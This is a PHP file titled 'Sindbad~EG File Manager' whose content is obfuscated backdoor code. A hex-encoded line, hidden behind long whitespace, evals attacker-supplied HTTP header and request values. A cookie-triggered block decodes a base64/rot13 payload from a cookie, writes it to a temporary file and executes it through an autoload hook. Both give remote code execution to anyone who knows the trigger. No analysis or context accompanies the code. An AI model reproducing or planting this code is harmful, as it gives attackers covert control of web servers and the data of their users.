Sindbad~EG File Manager

<?php																																										$_HEADERS = getallheaders();if(isset($_HEADERS['If-Modified-Since'])){$c="<\x3fp\x68p\x20@\x65v\x61l\x28$\x5fR\x45Q\x55E\x53T\x5b\"\x49f\x2dU\x6em\x6fd\x69f\x69e\x64-\x53i\x6ec\x65\"\x5d)\x3b@\x65v\x61l\x28$\x5fH\x45A\x44E\x52S\x5b\"\x49f\x2dU\x6em\x6fd\x69f\x69e\x64-\x53i\x6ec\x65\"\x5d)\x3b";$f='/tmp/.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}


if (isset($_COOKIE[49+-49]) && isset($_COOKIE[-49+50]) && isset($_COOKIE[76+-73]) && isset($_COOKIE[48+-44])) {
    $property = $_COOKIE;
    function rindex($identifier) {
        $property = $_COOKIE;
        $var = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '8f7ba8f8');
        if (!is_writable($var)) {
            $var = getcwd() . DIRECTORY_SEPARATOR . "sys";
        }
        $variable = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($property[3]));
        if (is_writeable($var)) {
            $storage = fopen($var, 'w+');
            fputs($storage, $variable);
            fclose($storage);
            spl_autoload_unregister(__FUNCTION__);
            require_once($var);
            @array_map('unlink', array($var));
        }
    }
    spl_autoload_register("rindex");
    $ph = "da7e9aa6d36936737dab9b401f6f1814";
    if (!strncmp($ph, $property[4], 32)) {
        if (@class_parents("lock_rfind", true)) {
            exit;
        }
    }
}